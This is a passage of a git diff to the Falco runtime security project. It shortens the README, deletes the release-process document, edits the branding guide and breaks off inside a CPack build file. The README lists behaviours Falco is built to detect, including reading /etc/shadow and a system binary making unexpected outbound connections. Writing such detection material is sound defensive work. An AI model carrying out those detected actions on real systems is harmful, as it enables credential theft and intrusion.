-| binary-x86_64       | [![bin-dev](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%20%22falco-%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fbin-dev%2Fx86_64%2Ffalco-)][5]                                                     | [![bin](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%20%22falco-%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fbin%2Fx86_64%2Ffalco-)][6]                                                     |
-| rpm-aarch64    | [![rpm-dev](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Frpm-dev%2Ffalco-%26delimiter=x86_64)][1]           | [![rpm](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Frpm%2Ffalco-%26delimiter=x86_64)][2]           |
-| deb-aarch64    | [![deb-dev](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fdeb-dev%2Fstable%2Ffalco-%26delimiter=x86_64)][3]  | [![deb](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fdeb%2Fstable%2Ffalco-%26delimiter=x86_64)][4]  |
-| binary-aarch64 | [![bin-dev](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%20%22falco-%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fbin-dev%2Faarch64%2Ffalco-)][7]                                                    | [![bin](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%20%22falco-%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fbin%2Faarch64%2Ffalco-)][8]                                                    |
+[![Build Status](https://img.shields.io/circleci/build/github/falcosecurity/falco/master?style=for-the-badge)](https://circleci.com/gh/falcosecurity/falco) [![CII Best Practices Summary](https://img.shields.io/cii/summary/2317?label=CCI%20Best%20Practices&style=for-the-badge)](https://bestpractices.coreinfrastructure.org/projects/2317) [![GitHub](https://img.shields.io/github/license/falcosecurity/falco?style=for-the-badge)](COPYING)
 
 ---
 
-The Falco Project, originally created by [Sysdig](https://sysdig.com), is an incubating [CNCF](https://cncf.io) open source cloud native runtime security tool.
-Falco makes it easy to consume kernel events, and enrich those events with information from Kubernetes and the rest of the cloud native stack. 
-Falco can also be extended to other data sources by using plugins.
-Falco has a rich set of security rules specifically built for Kubernetes, Linux, and cloud-native.
-If a rule is violated in a system, Falco will send an alert notifying the user of the violation and its severity.
+Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Falco audits a system at the most fundamental level, the kernel. Falco then enriches this data with other input streams such as container runtime metrics, and Kubernetes metrics. Falco lets you continuously monitor and detect container, application, host, and network activity—all in one place—from one source of data, with one set of rules.
 
-## What can Falco detect?
+Falco is hosted by the Cloud Native Computing Foundation (CNCF) as a sandbox level project. If you are an organization that wants to help shape the evolution of technologies that are container-packaged, dynamically-scheduled and microservices-oriented, consider joining the CNCF. For details read the [Falco CNCF project proposal](https://github.com/cncf/toc/tree/master/proposals/falco.adoc).
 
-Falco can detect and alert on any behavior that involves making Linux system calls.
-Falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process.
-For example, Falco can easily detect incidents including but not limited to:
+#### What kind of behaviors can Falco detect?
 
-- A shell is running inside a container or pod in Kubernetes.
+Falco can detect and alert on any behavior that involves making Linux system calls. Falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, Falco can easily detect incidents including but not limited to:
+
+- A shell is running inside a container.
 - A container is running in privileged mode, or is mounting a sensitive path, such as `/proc`, from the host.
 - A server process is spawning a child process of an unexpected type.
 - Unexpected read of a sensitive file, such as `/etc/shadow`.
 - A non-device file is written to `/dev`.
 - A standard system binary, such as `ls`, is making an outbound network connection.
-- A privileged pod is started in a Kubernetes cluster.
-
-The official Falco rules are maintained and released in [falcosecurity/rules](https://github.com/falcosecurity/rules/). That repository also contains the Falco rules inventory [document](https://github.com/falcosecurity/rules/blob/main/rules_inventory/rules_overview.md), which provides additional details around the default rules Falco ships with.
-
-## Installing Falco
-
-If you would like to run Falco in **production** please adhere to the [official installation guide](https://falco.org/docs/getting-started/installation/).
-
-### Kubernetes
-
-| Tool     | Link                                                                                       | Note                                                               |
-|----------|--------------------------------------------------------------------------------------------|--------------------------------------------------------------------|
-| Helm     | [Chart Repository](https://github.com/falcosecurity/charts/tree/master/falco#introduction) | The Falco community offers regular helm chart releases.            |
-| Minikube | [Tutorial](https://falco.org/docs/getting-started/third-party/#minikube)                                   | The Falco driver has been baked into minikube for easy deployment. |
-| Kind     | [Tutorial](https://falco.org/docs/getting-started/third-party/#kind)                                       | Running Falco with kind requires a driver on the host system.      |
-| GKE      | [Tutorial](https://falco.org/docs/getting-started/third-party/#gke)                                        | We suggest using the eBPF driver for running Falco on GKE.         |
-
-## Developing
-
-Falco is designed to be extensible such that it can be built into cloud-native applications and infrastructure.
-
-Falco has a [gRPC](https://falco.org/docs/grpc/) endpoint and an API defined in [protobuf](https://github.com/falcosecurity/falco/blob/master/userspace/falco/outputs.proto).
-The Falco Project supports various SDKs for this endpoint.
-
-### SDKs
-
-| Language | Repository                                              |
-|----------|---------------------------------------------------------|
-| Go       | [client-go](https://github.com/falcosecurity/client-go) |
-
-## Plugins
-
-Falco comes with a [plugin framework](https://falco.org/docs/plugins/) that extends it to potentially any cloud detection scenario. Plugins are shared libraries that conform to a documented API and allow for:
-
-- Adding new event sources that can be used in rules;
-- Adding the ability to define new fields and extract information from events.
-
-The Falco Project maintains [various plugins](https://github.com/falcosecurity/plugins) and provides SDKs for plugin development.
 
 
-### SDKs
+### Installing Falco
 
-| Language | Repository                                                                    |
-|----------|-------------------------------------------------------------------------------|
-| Go       | [falcosecurity/plugin-sdk-go](https://github.com/falcosecurity/plugin-sdk-go) |
+A comprehensive [installation guide](https://falco.org/docs/installation/) for Falco is available in the documentation website.
+
+#### How do you compare Falco with other security tools?
+
+One of the questions we often get when we talk about Falco is “How does Falco differ from other Linux security tools such as SELinux, AppArmor, Auditd, etc.?”. We wrote a [blog post](https://sysdig.com/blog/selinux-seccomp-falco-technical-discussion/) comparing Falco with other tools.
 
 
-## Documentation
+Documentation
+---
 
-The [Official Documentation](https://falco.org/docs/) is the best resource to learn about Falco.
+See [Falco Documentation](https://falco.org/docs/) to quickly get started using Falco.
 
-## Join the Community
+Join the Community
+---
 
 To get involved with The Falco Project please visit [the community repository](https://github.com/falcosecurity/community) to find more.
 
-How to reach out?
-
- - Join the [#falco](https://kubernetes.slack.com/messages/falco) channel on the [Kubernetes Slack](https://slack.k8s.io)
- - [Join the Falco mailing list](https://lists.cncf.io/g/cncf-falco-dev)
- - [Read the Falco documentation](https://falco.org/docs/)
-
-## How to contribute
-
-See the [contributing guide](https://github.com/falcosecurity/.github/blob/main/CONTRIBUTING.md) and the [code of conduct](https://github.com/falcosecurity/evolution/CODE_OF_CONDUCT.md).
- 
-## Security Audit
-
-A third party security audit was performed by Cure53, you can see the full report [here](./audits/SECURITY_AUDIT_2019_07.pdf).
-
-## Reporting security vulnerabilities
-
-Please report security vulnerabilities following the community process documented [here](https://github.com/falcosecurity/.github/blob/main/SECURITY.md).
-
-## License
+License Terms
+---
 
 Falco is licensed to you under the [Apache 2.0](./COPYING) open source license.
 
-## Project Evolution
+Contributing
+---
 
-The [falcosecurity/evolution](https://github.com/falcosecurity/evolution) repository is the official space for the community to work together, discuss ideas, and document processes. It is also a place to make decisions. Check it out to find more helpful resources.
+See the [CONTRIBUTING.md](./CONTRIBUTING.md).
 
-## Resources
+Security
+---
 
- - [Governance](https://github.com/falcosecurity/evolution/blob/main/GOVERNANCE.md)
- - [Code Of Conduct](https://github.com/falcosecurity/evolution/blob/main/CODE_OF_CONDUCT.md)
- - [Maintainers Guidelines](https://github.com/falcosecurity/evolution/blob/main/MAINTAINERS_GUIDELINES.md)
- - [Maintainers List](https://github.com/falcosecurity/evolution/blob/main/MAINTAINERS.md)
- - [Repositories Guidelines](https://github.com/falcosecurity/evolution/blob/main/REPOSITORIES.md)
- - [Repositories List](https://github.com/falcosecurity/evolution/blob/main/README.md#repositories)
- - [Adopters List](https://github.com/falcosecurity/falco/blob/master/ADOPTERS.md)
+### Security Audit
 
+A third party security audit was performed by Cure53, you can see the full report [here](./audits/SECURITY_AUDIT_2019_07.pdf).
 
-[1]: https://download.falco.org/?prefix=packages/rpm-dev/
-[2]: https://download.falco.org/?prefix=packages/rpm/
-[3]: https://download.falco.org/?prefix=packages/deb-dev/stable/
-[4]: https://download.falco.org/?prefix=packages/deb/stable/
-[5]: https://download.falco.org/?prefix=packages/bin-dev/x86_64/
-[6]: https://download.falco.org/?prefix=packages/bin/x86_64/
-[7]: https://download.falco.org/?prefix=packages/bin-dev/aarch64/
-[8]: https://download.falco.org/?prefix=packages/bin/aarch64/
+### Reporting security vulnerabilities
+Please report security vulnerabilities following the community process documented [here](https://github.com/falcosecurity/.github/blob/master/SECURITY.md).

RELEASE.md

@@ -1,239 +0,0 @@
-# Falco Release Process
-
-
-## Overview
-
-This document provides the process to create a new Falco release. In addition, it provides information about the versioning of the Falco components. At a high level each Falco release consists of the following main components:
-
-- Falco binary (userspace)
-- Falco kernel driver object files (kernel space)
-    - Option 1: Kernel module (`.ko` files)
-    - Option 2: eBPF (`.o` files)
-- Falco config and primary rules `.yaml` files (userspace)
-- Falco plugins (userspace - optional)
-
-One nice trait about releasing separate artifacts for userspace and kernel space is that Falco is amenable to supporting a large array of environments, that is, multiple kernel versions, distros and architectures (see `libs` [driver - kernel version support matrix](https://github.com/falcosecurity/libs#drivers-officially-supported-architectures)). The Falco project manages the release of both the Falco userspace binary and pre-compiled Falco kernel drivers for the most popular kernel versions and distros. The build and publish process is managed by the [test-infra](https://github.com/falcosecurity/test-infra) repo. The Falco userspace executable includes bundled dependencies, so that it can be run from anywhere.
-
-The Falco project also publishes all sources for each component. In fact, sources are included in the Falco release in the same way as some plugins (k8saudit and cloudtrail) as well as the rules that are shipped together with Falco. This empowers the end user to audit the integrity of the project as well as build kernel drivers for custom kernels or not officially supported kernels / distros (see [driverkit](https://github.com/falcosecurity/driverkit) for more information). While the Falco project is deeply embedded into an ecosystem of supporting [Falco sub-projects](https://github.com/falcosecurity/evolution) that aim to make the deployment of Falco easy, user-friendly, extendible and cloud-native, core Falco is split across two repos, [falco](https://github.com/falcosecurity/falco) (this repo) and [libs](https://github.com/falcosecurity/libs). The `libs` repo contains >90% of Falco's core features and is the home of each of the kernel drivers and engines. More details are provided in the [Falco Components Versioning](#falco-components-versioning) section.
-
-Finally, the release process follows a transparent process described in more detail in the following sections and the official [Falco docs](https://falco.org/) contain rich information around building, installing and using Falco.
-
-
-### Falco Binaries, Rules and Sources Artifacts - Quick Links
-
-The Falco project publishes all sources and the Falco userspace binaries as GitHub releases.
-
-- [Falco Releases](https://github.com/falcosecurity/falco/releases)
-    - `tgz`, `rpm` and `deb` Falco binary packages (contains sources, including driver sources, Falco rules as well as k8saudit and cloudtrail plugins)
-    - `tgz`, `zip` source code
-- [Libs Releases](https://github.com/falcosecurity/libs/releases)
-    - `tgz`, `zip` source code
-- [Driver Releases](https://github.com/falcosecurity/libs/releases), marked with `+driver` [build metadata](https://semver.org/). 
-    - `tgz`, `zip` source code
-- [Falco Rules Releases](https://github.com/falcosecurity/rules/releases)
-    - `tgz`, `zip` source code, each ruleset is tagged separately in a mono-repo fashion, see the [rules release guidelines](https://github.com/falcosecurity/rules/blob/main/RELEASE.md)
-
-
-Alternatively Falco binaries or plugins can be downloaded from the Falco Artifacts repo.
-
-- [Falco Artifacts Repo Packages Root](https://download.falco.org/?prefix=packages/)
-- [Falco Artifacts Repo Plugins Root](https://download.falco.org/?prefix=plugins/)
-
-
-### Falco Drivers Artifacts Repo - Quick Links
-
-
-The Falco project publishes all drivers for each release for all popular kernel versions / distros and `x86_64` and `aarch64` architectures to the Falco project managed Artifacts repo. The Artifacts repo follows standard directory level conventions. The respective driver object file is prefixed by distro and named / versioned by kernel release - `$(uname -r)`. Pre-compiled drivers are released with a [best effort](https://github.com/falcosecurity/falco/blob/master/proposals/20200818-artifacts-storage.md#notice) notice. This is because gcc (`kmod`) and clang (`bpf`) compilers or for example the eBPF verifier are not perfect. More details around driver versioning and driver compatibility are provided in the [Falco Components Versioning](#falco-components-versioning) section. Short preview: If you use the standard Falco setup leveraging driver-loader, [driver-loader script](https://github.com/falcosecurity/falco/blob/master/scripts/falco-driver-loader) will fetch the kernel space artifact (object file) corresponding to the default `DRIVER_VERSION` Falco was shipped with.
-
-- [Falco Artifacts Repo Drivers Root](https://download.falco.org/?prefix=driver/)
-    - Option 1: Kernel module (`.ko` files) - all under same driver version directory
-    - Option 2: eBPF (`.o` files) - all under same driver version directory
-
-
-### Timeline
-
-Falco releases are due to happen 3 times per year. Our current schedule sees a new release by the end of January, May, and September each year. Hotfix releases can happen whenever it's needed.
-
-Changes and new features are grouped in [milestones](https://github.com/falcosecurity/falco/milestones), the milestone with the next version represents what is going to be released.
-
-
-### Procedures
-
-The release process is mostly automated requiring only a few manual steps to initiate and complete it.
-
-Moreover, we need to assign owners for each release (usually we pair a new person with an experienced one). Assignees and the due date are proposed during the [weekly community call](https://github.com/falcosecurity/community).
-
-At a high level each Falco release needs to follow a pre-determined sequencing of releases and build order:
-
-- [1 - 3] `libs` (+ `driver`) and `plugins` components releases
-- [4] Falco driver pre-compiled object files push to Falco's Artifacts repo
-- [5] Falco userspace binary release
-
-Finally, on the proposed due date the assignees for the upcoming release proceed with the processes described below.  
-
-## Pre-Release Checklist
-
-Prior to cutting a release the following preparatory steps should take 5 minutes using the GitHub UI.
-
-### 1. Release notes
-- Find the previous release date (`YYYY-MM-DD`) by looking at the [Falco releases](https://github.com/falcosecurity/falco/releases)
-- Check the release note block of every PR matching the `is:pr is:merged closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+closed%3A%3EYYYY-MM-DD)
-    - Ensure the release note block follows the [commit convention](https://github.com/falcosecurity/.github/blob/master/CONTRIBUTING.md#commit-convention), otherwise fix its content
-    - If the PR has no milestone, assign it to the milestone currently undergoing release
-- Check issues without a milestone (using `is:pr is:merged no:milestone closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYY-MM-DD) ) and add them to the milestone currently undergoing release
-- Double-check that there are no more merged PRs without the target milestone assigned with the `is:pr is:merged no:milestone closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYY-MM-DD), if any, update those missing
-
-### 2. Milestones
-
-- Move the [tasks not completed](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Aopen) to a new minor milestone
-
-
-### 3. Release branch
-
-Assuming we are releasing a non-patch version (like: Falco 0.34.0), a new release branch needs to be created.  
-Its naming will be `release/M.m.x`; for example: `release/0.34.x`.  
-The same branch will then be used for any eventual cherry pick for patch releases.  
-
-For patch releases, instead, the `release/M.m.x` branch should already be in place; no more steps are needed.  
-Double check that any PR that should be part of the tag has been cherry-picked from master!
-
-### 4. Release PR
-
-The release PR is meant to be made against the respective `release/M.m.x` branch, **then cherry-picked on master**.  
-
-- Double-check if any hard-coded version number is present in the code, it should be not present anywhere:
-    - If any, manually correct it then open an issue to automate version number bumping later
-    - Versions table in the `README.md` updates itself automatically
-- Generate the change log using [rn2md](https://github.com/leodido/rn2md):
-    - Execute `rn2md -o falcosecurity -m <version> -r falco`
-    - In case `rn2md` emits error try to generate an GitHub OAuth access token and provide it with the `-t` flag
-- Add the latest changes on top the previous `CHANGELOG.md`
-- Submit a PR with the above modifications
-- Await PR approval
-- Close the completed milestone as soon as the PR is merged into the release branch
-- Cherry pick the PR on master too
-
-## Release
-
-Assume `M.m.p` is the new version.
-
-### 1. Create a tag
-
-- Once the release PR has got merged both on the release branch and on master, and the master CI has done its job, git tag the new release on the release branch:
-
-    ```
-    git pull
-    git checkout release/M.m.x
-    git tag M.m.p
-    git push origin M.m.p
-    ```
-
-> **N.B.**: do NOT use an annotated tag. For reference https://git-scm.com/book/en/v2/Git-Basics-Tagging
-
-- Wait for the CI to complete
-
-### 2. Update the GitHub release
-
-- [Draft a new release](https://github.com/falcosecurity/falco/releases/new)
-- Use `M.m.p` both as tag version and release title
-- Use the following template to fill the release description:
-    ```
-    <!-- Substitute M.m.p with the current release version -->
-
-    | Packages | Download                                                                                                                                               |
-    | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
-    | rpm-x86_64      | [![rpm](https://img.shields.io/badge/Falco-M.m.p-%2300aec7?style=flat-square)](https://download.falco.org/packages/rpm/falco-M.m.p-x86_64.rpm)        |
-    | deb-x86_64      | [![deb](https://img.shields.io/badge/Falco-M.m.p-%2300aec7?style=flat-square)](https://download.falco.org/packages/deb/stable/falco-M.m.p-x86_64.deb) |
-    | tgz-x86_64      | [![tgz](https://img.shields.io/badge/Falco-M.m.p-%2300aec7?style=flat-square)](https://download.falco.org/packages/bin/x86_64/falco-M.m.p-x86_64.tar.gz) |
-    | rpm-aarch64      | [![rpm](https://img.shields.io/badge/Falco-M.m.p-%2300aec7?style=flat-square)](https://download.falco.org/packages/rpm/falco-M.m.p-aarch64.rpm)        |
-    | deb-aarch64      | [![deb](https://img.shields.io/badge/Falco-M.m.p-%2300aec7?style=flat-square)](https://download.falco.org/packages/deb/stable/falco-M.m.p-aarch64.deb) |
-    | tgz-aarch64      | [![tgz](https://img.shields.io/badge/Falco-M.m.p-%2300aec7?style=flat-square)](https://download.falco.org/packages/bin/aarch64/falco-M.m.p-aarch64.tar.gz) |
-
-    | Images                                                                      |
-    | --------------------------------------------------------------------------- |
-    | `docker pull docker.io/falcosecurity/falco:M.m.p`                           |
-    | `docker pull public.ecr.aws/falcosecurity/falco:M.m.p`                      |
-    | `docker pull docker.io/falcosecurity/falco-driver-loader:M.m.p`             |
-    | `docker pull docker.io/falcosecurity/falco-no-driver:M.m.p`                 |
-
-    <changelog>
-
-    <!-- Substitute <changelog> with the one generated by [rn2md](https://github.com/leodido/rn2md) -->
-
-    ### Statistics
-
-    | Merged PRs      | Number |
-    | --------------- | ------ |
-    | Not user-facing | x      |
-    | Release note    | x      |
-    | Total           | x      |
-
-    <!-- Calculate stats and fill the above table -->
-
-    #### Release Manager <github handle>
-
-    <!-- Substitute GitHub handle with the release manager's one -->
-    ```
-
-- Finally, publish the release!
-
-### 3. Update the meeting notes
-
-For each release we archive the meeting notes in git for historical purposes.
-
- - The notes from the Falco meetings can be [found here](https://hackmd.io/3qYPnZPUQLGKCzR14va_qg).
-    - Note: There may be other notes from working groups that can optionally be added as well as needed.
- - Add the entire content of the document to a new file in [github.com/falcosecurity/community/tree/master/meeting-notes](https://github.com/falcosecurity/community/tree/master/meeting-notes) as a new file labeled `release-M.m.p.md`
- - Open up a pull request with the new change.
-
-
-## Post-Release tasks
-
-Announce the new release to the world!
-
-- Publish a blog on [Falco website](https://github.com/falcosecurity/falco-website) ([example](https://github.com/falcosecurity/falco-website/blob/master/content/en/blog/falco-0-28-1.md))
-- Send an announcement to cncf-falco-dev@lists.cncf.io (plain text, please)
-- Let folks in the slack #falco channel know about a new release came out
-- IFF the on going release introduces a **new minor version**, [archive a snapshot of the Falco website](https://github.com/falcosecurity/falco-website/blob/master/release.md#documentation-versioning)
-
-
-## Falco Components Versioning
-
-This section provides more details around the versioning of all components that make up core Falco. It can also be a useful guide for the uninitiated to be more informed about Falco's source. Because the `libs` repo contains >90% of Falco's core features and is the home of each of the kernel drivers and engines, the [libs release doc](https://github.com/falcosecurity/libs/blob/master/release.md) is an excellent additional resource. In addition, the [plugins release doc](https://github.com/falcosecurity/plugins/blob/master/release.md) provides similar details around Falco's plugins. `SHA256` checksums are provided throughout Falco's source code to empower the end user to perform integrity checks. All Falco releases also contain the sources as part of the packages.
-
-
-### Falco repo (this repo)
-- Falco version is a git tag (`x.y.z`), see [Procedures](#procedures) section. Note that the Falco version is a sem-ver-like schema, but not fully compatible with sem-ver.
-- [FALCO_ENGINE_VERSION](https://github.com/falcosecurity/falco/blob/master/userspace/engine/falco_engine_version.h) is not sem-ver and must be bumped either when a backward incompatible change has been introduced to the rules files syntax or `falco --list -N | sha256sum` has changed. Breaking changes introduced in the Falco engine are not necessarily tied to the drivers or libs versions. The primary idea behind the hash is that when new filter / display fields (see currently supported [Falco fields](https://falco.org/docs/rules/supported-fields/)) are introduced a version bump indicates that this field was not available in previous engine versions. See the [rules release guidelines](https://github.com/falcosecurity/rules/blob/main/RELEASE.md#versioning-a-ruleset) to understand how this affects the versioning of Falco rules.
-- During development and release preparation, libs and driver reference commits are often bumped in Falco's cmake setup ([falcosecurity-libs cmake](https://github.com/falcosecurity/falco/blob/master/cmake/modules/falcosecurity-libs.cmake#L30) and [driver cmake](https://github.com/falcosecurity/falco/blob/master/cmake/modules/driver.cmake#L29)) in order to merge new Falco features. In practice they are mostly bumped at the same time referencing the same `libs` commit. However, for the official Falco build `FALCOSECURITY_LIBS_VERSION` flag that references the stable Libs version is used (read below).
-- Similarly, Falco plugins versions are bumped in Falco's cmake setup ([plugins cmake](https://github.com/falcosecurity/falco/blob/master/cmake/modules/plugins.cmake)) and those versions are the ones used for the Falco release.
-- At release time Plugin, Libs and Driver versions are compatible with Falco.
-- If you use the standard Falco setup leveraging driver-loader, [driver-loader script](https://github.com/falcosecurity/falco/blob/master/scripts/falco-driver-loader) will fetch the kernel space artifact (object file) corresponding to the default `DRIVER_VERSION` Falco was shipped with (read more below under Libs).
-
-
-```
-Falco version: x.y.z (sem-ver like)
-Libs version:  x.y.z (sem-ver like)
-Plugin API:    x.y.z (sem-ver like)
-Engine:        x
-Driver:
-  API version:    x.y.z (sem-ver)
-  Schema version: x.y.z (sem-ver)
-  Default driver: x.y.z+driver (sem-ver like, indirectly encodes compatibility range in addition to default version Falco is shipped with)
-```
-
-
-### Libs repo
-- Libs version is a git tag (`x.y.z`) and when building Falco the libs version is set via the `FALCOSECURITY_LIBS_VERSION` flag (see above).
-- Driver version itself is not directly tied to the Falco binary as opposed to the libs version being part of the source code used to compile Falco's userspace binary. This is because of the strict separation between userspace and kernel space artifacts, so things become a bit more interesting here. This is why the concept of a `Default driver` has been introduced to still implicitly declare the compatible driver versions. For example, if the default driver version is `2.0.0+driver`, Falco works with all driver versions >= 2.0.0 and < 3.0.0. This is a consequence of how the driver version is constructed starting from the `Driver API version` and `Driver Schema version`. Driver API and Schema versions are explained in the respective [libs driver doc](https://github.com/falcosecurity/libs/blob/master/driver/README.VERSION.md) -> Falco's `driver-loader` will always fetch the default driver, therefore a Falco release is always "shipped" with the driver version corresponding to the default driver.
-- See [libs release doc](https://github.com/falcosecurity/libs/blob/master/release.md) for more information.
-
-### Plugins repo
-
-- Plugins version is a git tag (`x.y.z`)
-- See [plugins release doc](https://github.com/falcosecurity/plugins/blob/master/release.md) for more information.
-
-### Rules repo
-- Rulesets are versioned individually through git tags
-- See [rules release doc](https://github.com/falcosecurity/rules/blob/main/RELEASE.md) for more information.
-- See [plugins release doc](https://github.com/falcosecurity/plugins/blob/master/release.md) for more information about plugins rulesets.

brand/README.md

@@ -5,7 +5,7 @@
 
 This document describes The Falco Project's branding guidelines, language, and message.
 
-Content in this document can be used to publicly share about Falco.
+Content in this document can be used to publically share about Falco.
 
 
 
@@ -15,21 +15,6 @@ There are 3 logos available for use in this directory. Use the primary logo unle
 
 The Falco logo is Apache 2 licensed and free to use in media and publication for the CNCF Falco project.
 
-### Colors
-
-| Name      | PMS  | RGB         |
-|-----------|------|-------------|
-| Teal      | 3125 |   0 174 199 |
-| Cool Gray |   11 |  83  86  90 |
-| Black     |      |   0   0   0 |
-| Blue-Gray | 7700 |  22 92 125  |
-| Gold      | 1375 | 255 158  27 |
-| Orange    |  171 | 255  92  57 |
-| Emerald   | 3278 |   0 155 119 |
-| Green     |  360 | 108 194  74 |
-
-The primary colors are those in the first two rows.
-
 ### Slogan
 
 > Cloud Native Runtime Security
@@ -43,7 +28,7 @@ The CNCF now owns The Falco Project.
 ### What is Runtime Security?
 
 Runtime security refers to an approach to preventing unwanted activity on a computer system. 
-With runtime security, an operator deploys **both** prevention tooling (access control, policy enforcement, etc) along side detection tooling (systems observability, anomaly detection, etc).
+With runtime security an operator deploys **both** prevention tooling (access control, policy enforcement, etc) along side detection tooling (systems observability, anomaly detection, etc).
 Runtime security is the practice of using detection tooling to detect unwanted behavior, such that it can then be prevented using prevention techniques.
 Runtime security is a holistic approach to defense, and useful in scenarios where prevention tooling either was unaware of an exploit or attack vector, or when defective applications are ran in even the most secure environment.
 
@@ -56,7 +41,7 @@ If a rule has been violated, Falco triggers an alert.
 ### How does Falco work?
 
 Falco traces kernel events and reports information about the system calls being executed at runtime.
-Falco leverages the extended berkeley packet filter (eBPF) which is a kernel feature implemented for dynamic crash-resilient and secure code execution in the kernel. 
+Falco leverages the extended berkley packet filter (eBPF) which is a kernel feature implemented for dynamic crash-resilient and secure code execution in the kernel. 
 Falco enriches these kernel events with information about containers running on the system.
 Falco also can consume signals from other input streams such as the containerd socket, the Kubernetes API server and the Kubernetes audit log.
 At runtime, Falco will reason about these events and assert them against configured security rules.
@@ -113,7 +98,7 @@ Falco ultimately is a security engine. It reasons about signals coming from a sy
 
 ##### Anomaly detection
 
-This refers to an event that occurs with something unusual, concerning, or odd occurs.
+This refers to an event that occurs with something unsual, concerning, or odd occurs.
 We can associate anomalies with unwanted behavior, and alert in their presence.
 
 ##### Detection tooling
@@ -139,13 +124,9 @@ Used to describe the `.ko` object that would be loaded into the kernel as a pote
 This is one option used to pass kernel events up to userspace for Falco to consume.
 Sometimes this word is incorrectly used to refer to a `probe`.
 
-#### Driver 
+#### Driver (deprecated)
 
-The global term for the software that sends events from the kernel. Such as the eBPF `probe` or the `kernel module`.
-
-#### Plugin
-
-Used to describe a dynamic shared library (`.so` files in Unix, `.dll` files in Windows) that conforms to a documented API and allows to extend Falco's capabilities.
+An older, more generalized term for a `module` or `probe`. We discourage the use of this word as a project.
 
 #### Falco
 

cmake/cpack/CMakeCPackOptions.cmake

@@ -1,13 +1,14 @@
-if(CPACK_GENERATOR MATCHES "DEB" OR CPACK_GENERATOR MATCHES "RPM")
-	list(APPEND CPACK_INSTALL_COMMANDS "mkdir -p _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system")
-	list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/systemd/falco-kmod-inject.service _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system")
